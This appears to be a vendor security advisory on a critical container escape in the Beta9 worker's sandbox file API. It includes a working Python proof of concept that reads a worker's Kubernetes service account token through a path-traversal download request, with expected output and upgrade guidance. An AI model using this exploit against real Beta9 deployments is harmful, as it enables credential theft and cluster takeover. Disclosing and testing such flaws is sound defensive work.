< Back

JFSA-2026-001699276 - Beta9 is vulnerable to a Container Escape via Unvalidated Sandbox File Paths

CVE-2026-120307 | CVSS 9.9

JFrog Severity:critical

Discovered ByNatan Nehoraiof the JFrog Security Research Team

Published 1 Nov, 2026 | Last updated 1 Nov, 2026

Beta9 is vulnerable to a Container Escape via Unvalidated Sandbox File Paths

Beta9 worker (github.com/beam-cloud/beta9)

worker < 0.1.756

The Beta9 worker serves the sandbox file API from outside the container. getHostPathFromContainerPath in pkg/worker/container_server.go turns the tenant's path into a worker path. If the unresolved path starts with a mount destination, including the default upload mount at /tmp/.beta9, the remainder is joined onto that mount's source with filepath.Join, which cleans parent-directory segments after the prefix check. A long enough run of those segments names any absolute path on the worker. A path that matches no mount is joined onto the container root and opened in the worker's filesystem, so an absolute symbolic link such as /var/run pointing at /run is followed against the worker root.

Upload, download, stat, list, find-in-files, replace-in-files, and delete-file all call this helper. A tenant with a workspace token and one running sandbox can read, write, list, and delete files on the hosting worker as root, including files of other tenants on that machine. A read-only proof downloaded the worker pod's Kubernetes service account token through the file API for a path that did not exist inside the sandbox. In the shipped remote-node manifests that service account is bound to cluster-admin.

Worker 0.1.756 opens these paths with os.OpenRoot, so parent-directory and symlink lookups stay inside the container root or the mount source. File operations refuse read-only mounts and do not write through a symlink swapped in after path resolution.


Step 1 - Install the client


A workspace token and one sandbox are the credentials a tenant already uses. The proof reads one path two ways and prints decoded token claims. It does not print the token, and it writes nothing.

pip install beta9

Step 2 - Save the comparison script


#!/usr/bin/env python3
import argparse
import base64
import json

from beta9.abstractions.base import set_channel
from beta9.channel import Channel
from beta9.clients.gateway import GatewayServiceStub, ListContainersRequest
from beta9.clients.pod import PodSandboxDownloadFileRequest, PodServiceStub

TOKEN_PATH = "/var/run/secrets/kubernetes.io/serviceaccount/token"
TRAVERSAL = "/" + "../" * 16 + TOKEN_PATH.lstrip("/")


def jwt_claims(token: str) -> dict:
    try:
        payload = token.split(".")[1]
        payload += "=" * (-len(payload) % 4)
        data = json.loads(base64.urlsafe_b64decode(payload))
    except (IndexError, ValueError):
        return {"note": "not a decodable JWT", "length": len(token)}
    k8s = data.get("kubernetes.io", {})
    return {
        "sub": data.get("sub"),
        "namespace": k8s.get("namespace"),
        "pod": k8s.get("pod", {}).get("name"),
    }


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--gateway", required=True, help="gateway address, host:port")
    ap.add_argument("--token", required=True, help="beta9 workspace token")
    ap.add_argument("--container-id", help="reuse this running sandbox")
    ap.add_argument("--keep-container", action="store_true")
    args = ap.parse_args()

    channel = Channel(args.gateway, args.token)
    set_channel(channel)
    pod = PodServiceStub(channel)

    from beta9 import Sandbox

    container_id = args.container_id
    if not container_id:
        gw = GatewayServiceStub(channel)
        running = [
            c for c in gw.list_containers(ListContainersRequest()).containers
            if c.status.upper() == "RUNNING" and c.container_id.startswith("sandbox-")
        ]
        if running:
            container_id = running[0].container_id
            print(f"[*] reusing running sandbox: {container_id}")

    created = False
    if container_id:
        instance = Sandbox().connect(container_id)
    else:
        print("[*] creating a minimal sandbox ...")
        instance = Sandbox(cpu=0.5, memory=256, keep_warm_seconds=300).create()
        created = True
    print(f"[*] using sandbox: {instance.container_id}\n")

    try:
        proc = instance.process.exec(
            "sh", "-c", f"cat {TOKEN_PATH} 2>&1 || echo ABSENT_IN_CONTAINER"
        )
        proc.wait()
        inside = (proc.stdout.read() + proc.stderr.read()).strip()

        resp = pod.sandbox_download_file(
            PodSandboxDownloadFileRequest(
                container_id=instance.container_id, container_path=TRAVERSAL
            )
        )

        print(f"===== INSIDE THE SANDBOX: {TOKEN_PATH} =====")
        if "ABSENT_IN_CONTAINER" in inside or len(inside) < 100:
            print(inside or "(no output)")
        else:
            print(f"(a {len(inside)}-byte file IS present inside the sandbox; value withheld)")
        print(f"\n===== VIA THE FILE API: {TRAVERSAL} =====")
        if not resp.ok or not resp.data:
            print(f"read failed: {resp.error_msg or 'empty response'}")
            print("\nNOT VULNERABLE: the file API returned nothing for the escaped path")
            return 0

        token = resp.data.decode().strip()
        print(
            f"a {len(token)}-byte Kubernetes service account token "
            f"(raw value withheld), whose claims name:"
        )
        print(json.dumps(jwt_claims(token), indent=2))

        print("\n===== VERDICT =====")
        if "ABSENT_IN_CONTAINER" in inside:
            print(
                "VULNERABLE: the path does not exist inside the sandbox, yet the "
                "file API returned the hosting worker's service account token. "
                "The bytes were read from the worker's filesystem."
            )
        else:
            print(
                "VULNERABLE: the file API returned a token through an escaped "
                "path; the claims above name the pod the token belongs to."
            )
        return 1
    finally:
        if created and not args.keep_container:
            print(f"\n[*] terminating sandbox {instance.container_id}")
            instance.terminate()


if __name__ == "__main__":
    raise SystemExit(main())

Step 3 - Compare the in-sandbox view with the file API


python3 poc_beta9_sandbox_token_diff.py --gateway gateway.example.com:443 --token $BETA9_TOKEN

Expected output on a worker before 0.1.756. The token itself is withheld. The claims name the worker pod, which is a different name from the sandbox:

===== INSIDE THE SANDBOX: /var/run/secrets/kubernetes.io/serviceaccount/token =====
cat: /var/run/secrets/kubernetes.io/serviceaccount/token: No such file or directory
ABSENT_IN_CONTAINER

===== VERDICT =====
VULNERABLE: the path does not exist inside the sandbox, yet the file API returned the hosting worker's service account token. The bytes were read from the worker's filesystem.

On worker 0.1.756 or later the same script prints NOT VULNERABLE: the file API returned nothing for the escaped path.

Upgrade the Beta9 worker to 0.1.756 or later. Sandbox file APIs and workspace sync use os.OpenRoot, so parent-directory segments and symbolic links stay inside the container root or the mount source.

The change is https://github.com/beam-cloud/beta9/pull/1897, commit a28bf12cf0007c792a25d8ed282b4e8bf6f30393, released as worker 0.1.756 on 2026-09-15.

https://www.cve.org/CVERecord?id=CVE-2026-120307 https://github.com/beam-cloud/beta9/pull/1897 https://github.com/beam-cloud/beta9/commit/a28bf12cf0007c792a25d8ed282b4e8bf6f30393 https://github.com/beam-cloud/beta9/releases/tag/worker-0.1.756 https://github.com/beam-cloud/beta9

< Back